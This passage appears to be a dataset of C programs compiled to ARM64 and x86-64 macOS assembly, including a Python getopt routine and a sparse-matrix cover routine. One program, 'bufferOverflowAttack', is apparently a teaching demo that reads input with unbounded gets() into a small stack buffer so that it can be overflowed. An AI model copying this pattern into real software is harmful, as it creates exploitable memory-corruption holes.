w1, [sp, #12] bl _strchr mov x8, x0 str x8, [sp, #16] subs x8, x0, #0 cset w8, ne tbnz w8, #0, LBB0_15 b LBB0_12 LBB0_12: adrp x8, __PyOS_opterr@PAGE ldr w8, [x8, __PyOS_opterr@PAGEOFF] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldr w9, [sp, #12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _fprintf b LBB0_14 LBB0_14: mov w8, #63 stur w8, [x29, #-4] b LBB0_25 LBB0_15: ldr x8, [sp, #16] ldrsb w8, [x8, #1] subs w8, w8, #58 cset w8, ne tbnz w8, #0, LBB0_24 b LBB0_16 LBB0_16: adrp x8, __PyOS_GetOpt.opt_ptr@PAGE ldr x8, [x8, __PyOS_GetOpt.opt_ptr@PAGEOFF] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: adrp x9, __PyOS_GetOpt.opt_ptr@PAGE ldr x8, [x9, __PyOS_GetOpt.opt_ptr@PAGEOFF] adrp x10, __PyOS_optarg@PAGE str x8, [x10, __PyOS_optarg@PAGEOFF] adrp x8, l_.str@PAGE add x8, x8, l_.str@PAGEOFF str x8, [x9, __PyOS_GetOpt.opt_ptr@PAGEOFF] b LBB0_23 LBB0_18: adrp x8, __PyOS_optind@PAGE ldr w8, [x8, __PyOS_optind@PAGEOFF] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB0_22 b LBB0_19 LBB0_19: adrp x8, __PyOS_opterr@PAGE ldr w8, [x8, __PyOS_opterr@PAGEOFF] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_21 b LBB0_20 LBB0_20: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldr w9, [sp, #12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fprintf b LBB0_21 LBB0_21: mov w8, #63 stur w8, [x29, #-4] b LBB0_25 LBB0_22: ldur x8, [x29, #-16] adrp x11, __PyOS_optind@PAGE ldrsw x9, [x11, __PyOS_optind@PAGEOFF] mov x10, x9 add w10, w10, #1 str w10, [x11, __PyOS_optind@PAGEOFF] ldr x8, [x8, x9, lsl #3] adrp x9, __PyOS_optarg@PAGE str x8, [x9, __PyOS_optarg@PAGEOFF] b LBB0_23 LBB0_23: b LBB0_24 LBB0_24: ldr w8, [sp, #12] stur w8, [x29, #-4] b LBB0_25 LBB0_25: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __DATA,__data .globl __PyOS_opterr ; @_PyOS_opterr .p2align 2 __PyOS_opterr: .long 1 ; 0x1 .globl __PyOS_optind ; @_PyOS_optind .p2align 2 __PyOS_optind: .long 1 ; 0x1 .globl __PyOS_optarg ; @_PyOS_optarg .zerofill __DATA,__common,__PyOS_optarg,8,3 .p2align 3 ; @_PyOS_GetOpt.opt_ptr __PyOS_GetOpt.opt_ptr: .quad l_.str .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .space 1 l_.str.1: ; @.str.1 .asciz "--" l_.str.2: ; @.str.2 .asciz "Unknown option: -%c\n" l_.str.3: ; @.str.3 .asciz "Argument expected for the -%c option\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl __PyOS_GetOpt ## -- Begin function _PyOS_GetOpt .p2align 4, 0x90 __PyOS_GetOpt: ## @_PyOS_GetOpt .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq __PyOS_GetOpt.opt_ptr(%rip), %rax movsbl (%rax), %eax cmpl $0, %eax jne LBB0_9 ## %bb.1: movl __PyOS_optind(%rip), %eax cmpl -8(%rbp), %eax jge LBB0_4 ## %bb.2: movq -16(%rbp), %rax movslq __PyOS_optind(%rip), %rcx movq (%rax,%rcx,8), %rax movsbl (%rax), %eax cmpl $45, %eax jne LBB0_4 ## %bb.3: movq -16(%rbp), %rax movslq __PyOS_optind(%rip), %rcx movq (%rax,%rcx,8), %rax movsbl 1(%rax), %eax cmpl $0, %eax jne LBB0_5 LBB0_4: movl $-1, -4(%rbp) jmp LBB0_25 LBB0_5: movq -16(%rbp), %rax movslq __PyOS_optind(%rip), %rcx movq (%rax,%rcx,8), %rdi leaq L_.str.1(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB0_7 ## %bb.6: movl __PyOS_optind(%rip), %eax addl $1, %eax movl %eax, __PyOS_optind(%rip) movl $-1, -4(%rbp) jmp LBB0_25 LBB0_7: jmp LBB0_8 LBB0_8: movq -16(%rbp), %rax movl __PyOS_optind(%rip), %ecx movl %ecx, %edx addl $1, %edx movl %edx, __PyOS_optind(%rip) movslq %ecx, %rcx movq (%rax,%rcx,8), %rax addq $1, %rax movq %rax, __PyOS_GetOpt.opt_ptr(%rip) LBB0_9: movq __PyOS_GetOpt.opt_ptr(%rip), %rax movq %rax, %rcx addq $1, %rcx movq %rcx, __PyOS_GetOpt.opt_ptr(%rip) movsbl (%rax), %eax movl %eax, -36(%rbp) cmpl $0, %eax jne LBB0_11 ## %bb.10: movl $-1, -4(%rbp) jmp LBB0_25 LBB0_11: movq -24(%rbp), %rdi movl -36(%rbp), %esi callq _strchr movq %rax, -32(%rbp) cmpq $0, %rax jne LBB0_15 ## %bb.12: cmpl $0, __PyOS_opterr(%rip) je LBB0_14 ## %bb.13: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movl -36(%rbp), %edx leaq L_.str.2(%rip), %rsi movb $0, %al callq _fprintf LBB0_14: movl $63, -4(%rbp) jmp LBB0_25 LBB0_15: movq -32(%rbp), %rax movsbl 1(%rax), %eax cmpl $58, %eax jne LBB0_24 ## %bb.16: movq __PyOS_GetOpt.opt_ptr(%rip), %rax movsbl (%rax), %eax cmpl $0, %eax je LBB0_18 ## %bb.17: movq __PyOS_GetOpt.opt_ptr(%rip), %rax movq %rax, __PyOS_optarg(%rip) leaq L_.str(%rip), %rax movq %rax, __PyOS_GetOpt.opt_ptr(%rip) jmp LBB0_23 LBB0_18: movl __PyOS_optind(%rip), %eax cmpl -8(%rbp), %eax jl LBB0_22 ## %bb.19: cmpl $0, __PyOS_opterr(%rip) je LBB0_21 ## %bb.20: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movl -36(%rbp), %edx leaq L_.str.3(%rip), %rsi movb $0, %al callq _fprintf LBB0_21: movl $63, -4(%rbp) jmp LBB0_25 LBB0_22: movq -16(%rbp), %rax movl __PyOS_optind(%rip), %ecx movl %ecx, %edx addl $1, %edx movl %edx, __PyOS_optind(%rip) movslq %ecx, %rcx movq (%rax,%rcx,8), %rax movq %rax, __PyOS_optarg(%rip) LBB0_23: jmp LBB0_24 LBB0_24: movl -36(%rbp), %eax movl %eax, -4(%rbp) LBB0_25: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __DATA,__data .globl __PyOS_opterr ## @_PyOS_opterr .p2align 2 __PyOS_opterr: .long 1 ## 0x1 .globl __PyOS_optind ## @_PyOS_optind .p2align 2 __PyOS_optind: .long 1 ## 0x1 .globl __PyOS_optarg ## @_PyOS_optarg .zerofill __DATA,__common,__PyOS_optarg,8,3 .p2align 3 ## @_PyOS_GetOpt.opt_ptr __PyOS_GetOpt.opt_ptr: .quad L_.str .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .space 1 L_.str.1: ## @.str.1 .asciz "--" L_.str.2: ## @.str.2 .asciz "Unknown option: -%c\n" L_.str.3: ## @.str.3 .asciz "Argument expected for the -%c option\n" .subsections_via_symbols
the_stack_data/26700598.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _do_sm_minimum_cover ; -- Begin function do_sm_minimum_cover .p2align 2 _do_sm_minimum_cover: ; @do_sm_minimum_cover .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] bl _sm_alloc stur x0, [x29, #-16] str wzr, [sp, #28] ldur x8, [x29, #-8] ldr x8, [x8, #24] str x8, [sp, #8] ldr x8, [sp, #8] ldur x9, [x29, #-8] ldr w9, [x9, #12] ldur x10, [x29, #-8] ldr w10, [x10] mul w9, w9, w10 add x8, x8, w9, sxtw #2 str x8, [sp, #16] b LBB0_1 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ; Child Loop BB0_5 Depth 3 ldr x8, [sp, #8] ldr x9, [sp, #16] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB0_13 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #8] ldr w8, [x8] and w8, w8, #0x3ff str w8, [sp, #36] b LBB0_3 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_5 Depth 3 ldr w8, [sp, #36] subs w8, w8, #0 cset w8, le tbnz w8, #0, LBB0_11 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=2 ldr x8, [sp, #8] ldrsw x9, [sp, #36] ldr w8, [x8, x9, lsl #2] str w8, [sp, #24] ldr w8, [sp, #36] subs w8, w8, #1 str w8, [sp, #36] lsl w8, w8, #5 str w8, [sp, #32] b LBB0_5 LBB0_5: ; Parent Loop BB0_1 Depth=1 ; Parent Loop BB0_3 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w8, [sp, #24] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=3 ldr w8, [sp, #24] ands w8, w8, #0x1 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=3 ldur x0, [x29, #-16] ldr w1, [sp, #28] ldr w2, [sp, #32] bl _sm_insert b LBB0_8 LBB0_8: ; in Loop: Header=BB0_5 Depth=3 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_5 Depth=3 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] ldr w8, [sp, #24] lsr w8, w8, #1 str w8, [sp, #24] b LBB0_5 LBB0_10: ; in Loop: Header=BB0_3 Depth=2 b LBB0_3 LBB0_11: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #28] add w8, w8, #1 str w8, [sp, #28] b LBB0_12 LBB0_12: ; in Loop: Header=BB0_1 Depth=1 ldur x8, [x29, #-8] ldrsw x9, [x8] ldr x8, [sp, #8] add x8, x8, x9, lsl #2 str x8, [sp, #8] b LBB0_1 LBB0_13: ldur x0, [x29, #-16] mov x1, #0 mov w2, #1 mov w3, #0 bl _sm_minimum_cover stur x0, [x29, #-24] ldur x0, [x29, #-16] bl _sm_free ldur x8, [x29, #-8] ldr w8, [x8, #4] subs w8, w8, #32 cset w8, gt tbnz w8, #0, LBB0_15 b LBB0_14 LBB0_14: mov w8, #2 str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_16 LBB0_15: ldur x8, [x29, #-8] ldr w8, [x8, #4] subs w8, w8, #1 asr w8, w8, #5 add w8, w8, #1 add w8, w8, #1 str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_16 LBB0_16: ldr w9, [sp, #4] ; 4-byte Folded Reload ; implicit-def: $x8 mov x8, x9 sxtw x9, w8 mov x8, #4 mul x8, x8, x9 mov x0, x8 bl _malloc ldur x8, [x29, #-8] ldr w1, [x8, #4] bl _set_clear str x0, [sp, #40] ldur x8, [x29, #-24] ldr x8, [x8, #16] stur x8, [x29, #-32] b LBB0_17 LBB0_17: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_20 b LBB0_18 LBB0_18: ; in Loop: Header=BB0_17 Depth=1 ldur x8, [x29, #-32] ldr w8, [x8, #4] and w9, w8, #0x1f mov w8, #1 lsl w10, w8, w9 ldr x8, [sp, #40] ldur x9, [x29, #-32] ldr w9, [x9, #4] asr w9, w9, #5 add w9, w9, #1 add x9, x8, w9, sxtw #2 ldr w8, [x9] orr w8, w8, w10 str w8, [x9] b LBB0_19 LBB0_19: ; in Loop: Header=BB0_17 Depth=1 ldur x8, [x29, #-32] ldr x8, [x8, #24] stur x8, [x29, #-32] b LBB0_17 LBB0_20: ldur x0, [x29, #-24] bl _sm_row_free ldr x0, [sp, #40] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _do_sm_minimum_cover ## -- Begin function do_sm_minimum_cover .p2align 4, 0x90 _do_sm_minimum_cover: ## @do_sm_minimum_cover .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq %rdi, -8(%rbp) movb $0, %al callq _sm_alloc movq %rax, -16(%rbp) movl $0, -52(%rbp) movq -8(%rbp), %rax movq 24(%rax), %rax movq %rax, -72(%rbp) movq -72(%rbp), %rax movq -8(%rbp), %rcx movl 12(%rcx), %ecx movq -8(%rbp), %rdx imull (%rdx), %ecx movslq %ecx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -64(%rbp) LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 ## Child Loop BB0_5 Depth 3 movq -72(%rbp), %rax cmpq -64(%rbp), %rax jae LBB0_13 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -72(%rbp), %rax movl (%rax), %eax andl $1023, %eax ## imm = 0x3FF movl %eax, -44(%rbp) LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_5 Depth 3 cmpl $0, -44(%rbp) jle LBB0_11 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movq -72(%rbp), %rax movslq -44(%rbp), %rcx movl (%rax,%rcx,4), %eax movl %eax, -56(%rbp) movl -44(%rbp), %eax addl $-1, %eax movl %eax, -44(%rbp) shll $5, %eax movl %eax, -48(%rbp) LBB0_5: ## Parent Loop BB0_1 Depth=1 ## Parent Loop BB0_3 Depth=2 ## => This Inner Loop Header: Depth=3 cmpl $0, -56(%rbp) je LBB0_10 ## %bb.6: ## in Loop: Header=BB0_5 Depth=3 movl -56(%rbp), %eax andl $1, %eax cmpl $0, %eax je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_5 Depth=3 movq -16(%rbp), %rdi movl -52(%rbp), %esi movl -48(%rbp), %edx movb $0, %al callq _sm_insert LBB0_8: ## in Loop: Header=BB0_5 Depth=3 jmp LBB0_9 LBB0_9: ## in Loop: Header=BB0_5 Depth=3 movl -48(%rbp), %eax addl $1, %eax movl %eax, -48(%rbp) movl -56(%rbp), %eax shrl $1, %eax movl %eax, -56(%rbp) jmp LBB0_5 LBB0_10: ## in Loop: Header=BB0_3 Depth=2 jmp LBB0_3 LBB0_11: ## in Loop: Header=BB0_1 Depth=1 movl -52(%rbp), %eax addl $1, %eax movl %eax, -52(%rbp) ## %bb.12: ## in Loop: Header=BB0_1 Depth=1 movq -8(%rbp), %rax movl (%rax), %ecx movq -72(%rbp), %rax movslq %ecx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -72(%rbp) jmp LBB0_1 LBB0_13: movq -16(%rbp), %rdi xorl %eax, %eax movl %eax, %esi movl $1, %edx xorl %ecx, %ecx movb $0, %al callq _sm_minimum_cover movq %rax, -24(%rbp) movq -16(%rbp), %rdi movb $0, %al callq _sm_free movq -8(%rbp), %rax cmpl $32, 4(%rax) jg LBB0_15 ## %bb.14: movl $2, %eax movl %eax, -76(%rbp) ## 4-byte Spill jmp LBB0_16 LBB0_15: movq -8(%rbp), %rax movl 4(%rax), %eax subl $1, %eax sarl $5, %eax addl $1, %eax addl $1, %eax movl %eax, -76(%rbp) ## 4-byte Spill LBB0_16: movl -76(%rbp), %eax ## 4-byte Reload cltq shlq $2, %rax movl %eax, %edi callq _malloc movq %rax, %rdi movq -8(%rbp), %rax movl 4(%rax), %esi movb $0, %al callq _set_clear movq %rax, -40(%rbp) movq -24(%rbp), %rax movq 16(%rax), %rax movq %rax, -32(%rbp) LBB0_17: ## =>This Inner Loop Header: Depth=1 cmpq $0, -32(%rbp) je LBB0_20 ## %bb.18: ## in Loop: Header=BB0_17 Depth=1 movq -32(%rbp), %rax movl 4(%rax), %ecx andl $31, %ecx movl $1, %edx ## kill: def $cl killed $ecx shll %cl, %edx movq -40(%rbp), %rax movq -32(%rbp), %rcx movl 4(%rcx), %ecx sarl $5, %ecx addl $1, %ecx movslq %ecx, %rcx orl (%rax,%rcx,4), %edx movl %edx, (%rax,%rcx,4) ## %bb.19: ## in Loop: Header=BB0_17 Depth=1 movq -32(%rbp), %rax movq 24(%rax), %rax movq %rax, -32(%rbp) jmp LBB0_17 LBB0_20: movq -24(%rbp), %rdi movb $0, %al callq _sm_row_free movq -40(%rbp), %rax addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/86074626.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _checkString ; -- Begin function checkString .p2align 2 _checkString: ; @checkString .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] str x2, [sp, #24] str x3, [sp, #16] ldr x0, [sp, #24] ldr x1, [sp, #16] bl _strstr subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x8, [x29, #-8] mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_3 LBB0_2: ldur x8, [x29, #-16] mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_3 LBB0_3: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _bufferOverflowAttack ; -- Begin function bufferOverflowAttack .p2align 2 _bufferOverflowAttack: ; @bufferOverflowAttack .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] adrp x8, l___const.bufferOverflowAttack.s1@PAGE add x8, x8, l___const.bufferOverflowAttack.s1@PAGEOFF ldr q0, [x8] sub x8, x29, #48 str x8, [sp, #32] ; 8-byte Folded Spill stur q0, [x29, #-48] adrp x8, l___const.bufferOverflowAttack.s2@PAGE add x8, x8, l___const.bufferOverflowAttack.s2@PAGEOFF ldr q0, [x8] add x9, sp, #48 str x9, [sp, #8] ; 8-byte Folded Spill str q0, [sp, #48] ldrb w8, [x8, #16] strb w8, [sp, #64] adrp x8, l___const.bufferOverflowAttack.expectedName@PAGE add x8, x8, l___const.bufferOverflowAttack.expectedName@PAGEOFF ldr w9, [x8] add x10, sp, #40 str x10, [sp, #24] ; 8-byte Folded Spill str w9, [sp, #40] ldrh w8, [x8, #4] strh w8, [sp, #44] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf sub x0, x29, #18 str x0, [sp, #16] ; 8-byte Folded Spill bl _gets ldr x1, [sp, #8] ; 8-byte Folded Reload ldr x2, [sp, #16] ; 8-byte Folded Reload ldr x3, [sp, #24] ; 8-byte Folded Reload ldr x0, [sp, #32] ; 8-byte Folded Reload bl _checkString adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: bl ___stack_chk_fail LBB1_2: ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #8] ; 4-byte Folded Spill stur wzr, [x29, #-4] bl _bufferOverflowAttack ldr w0, [sp, #8] ; 4-byte Folded Reload ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%s" l___const.bufferOverflowAttack.s1: ; @__const.bufferOverflowAttack.s1 .asciz "I owe you $1000" l___const.bufferOverflowAttack.s2: ; @__const.bufferOverflowAttack.s2 .asciz "I don't know you" l___const.bufferOverflowAttack.expectedName: ; @__const.bufferOverflowAttack.expectedName .asciz "joker" l_.str.1: ; @.str.1 .asciz "What's your name?\n" l_.str.2: ; @.str.2 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _checkString ## -- Begin function checkString .p2align 4, 0x90 _checkString: ## @checkString .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) movq %rcx, -32(%rbp) movq -24(%rbp), %rdi movq -32(%rbp), %rsi callq _strstr cmpq $0, %rax je LBB0_2 ## %bb.1: movq -8(%rbp), %rsi leaq L_.str(%rip), %rdi movb $0, %al callq _printf jmp LBB0_3 LBB0_2: movq -16(%rbp), %rsi leaq L_.str(%rip), %rdi movb $0, %al callq _printf LBB0_3: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _bufferOverflowAttack ## -- Begin function bufferOverflowAttack .p2align 4, 0x90 _bufferOverflowAttack: ## @bufferOverflowAttack .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $96, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq L___const.bufferOverflowAttack.s1(%rip), %rax movq %rax, -48(%rbp) movq L___const.bufferOverflowAttack.s1+8(%rip), %rax movq %rax, -40(%rbp) movq L___const.bufferOverflowAttack.s2(%rip), %rax movq %rax, -80(%rbp) movq L___const.bufferOverflowAttack.s2+8(%rip), %rax movq %rax, -72(%rbp) movb L___const.bufferOverflowAttack.s2+16(%rip), %al movb %al, -64(%rbp) movl L___const.bufferOverflowAttack.expectedName(%rip), %eax movl %eax, -86(%rbp) movw L___const.bufferOverflowAttack.expectedName+4(%rip), %ax movw %ax, -82(%rbp) leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf leaq -18(%rbp), %rdi callq _gets leaq -48(%rbp), %rdi leaq -80(%rbp), %rsi leaq -18(%rbp), %rdx leaq -86(%rbp), %rcx callq _checkString leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_2 ## %bb.1: addq $96, %rsp popq %rbp retq LBB1_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) callq _bufferOverflowAttack xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%s" .p2align 4 ## @__const.bufferOverflowAttack.s1 L___const.bufferOverflowAttack.s1: .asciz "I owe you $1000" .p2align 4 ## @__const.bufferOverflowAttack.s2 L___const.bufferOverflowAttack.s2: .asciz "I don't know you" L___const.bufferOverflowAttack.expectedName: ## @__const.bufferOverflowAttack.expectedName .asciz "joker" L_.str.1: ## @.str.1 .asciz "What's your name?\n" L_.str.2: ## @.str.2 .asciz "\n" .subsections_via_symbols
the_stack_data/850552.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
the_stack_data/165768654.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _get_next_integer ; -- Begin function get_next_integer .p2align 2 _get_next_integer: ; @get_next_integer .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur x1, [x29, #-24] mov w8, #32 stur w8, [x29, #-28] ldur x9, [x29, #-24] mov w8, #-1 str w8, [x9] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-28] adds w8, w8, #1 cset w8, eq mov w9, #0 str w9, [sp, #32] ; 4-byte Folded Spill tbnz w8, #0, LBB0_5 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-28] subs w8, w8, #48 cset w8, lt mov w9, #1 str w9, [sp, #28] ; 4-byte Folded Spill tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-28] subs w8, w8, #57 cset w8, gt str w8, [sp, #28] ; 4-byte Folded Spill b LBB0_4 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #28] ; 4-byte Folded Reload str w8, [sp, #32] ; 4-byte Folded Spill b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #32] ; 4-byte Folded Reload tbz w8, #0, LBB0_9 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 ldur x0, [x29, #-16] bl _fgetc stur w0, [x29, #-28] ldur w8, [x29, #-28] subs w8, w8, #10 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: mov w8, #1 stur w8, [x29, #-4] b LBB0_19 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 b LBB0_1 LBB0_9: ldur w8, [x29, #-28] adds w8, w8, #1 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: stur wzr, [x29, #-4] b LBB0_19 LBB0_11: ldur x8, [x29, #-24] str wzr, [x8] b LBB0_12 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-28] subs w8, w8, #48 cset w8, lt mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB0_14 b LBB0_13 LBB0_13: ; in Loop: Header=BB0_12 Depth=1 ldur w8, [x29, #-28] subs w8, w8, #57 cset w8, le str w8, [sp, #24] ; 4-byte Folded Spill b LBB0_14 LBB0_14: ; in Loop: Header=BB0_12 Depth=1 ldr w8, [sp, #24] ; 4-byte Folded Reload tbz w8, #0, LBB0_16 b LBB0_15 LBB0_15: ; in Loop: Header=BB0_12 Depth=1 ldur x9, [x29, #-24] ldr w8, [x9] mov w10, #10 mul w8, w8, w10 str w8, [x9] ldur w8, [x29, #-28] subs w10, w8, #48 ldur x9, [x29, #-24] ldr w8, [x9] add w8, w8, w10 str w8, [x9] ldur x0, [x29, #-16] bl _fgetc stur w0, [x29, #-28] b LBB0_12 LBB0_16: ldur w0, [x29, #-28] ldur x1, [x29, #-16] bl _ungetc adrp x8, _attr_offset@PAGE ldr w10, [x8, _attr_offset@PAGEOFF] ldur x9, [x29, #-24] ldr w8, [x9] subs w8, w8, w10 str w8, [x9] ldur x8, [x29, #-24] ldr w8, [x8] subs w8, w8, #0 cset w8, ge tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldur x8, [x29, #-24] ldr w9, [x8] adrp x8, _attr_offset@PAGE ldr w10, [x8, _attr_offset@PAGEOFF] add 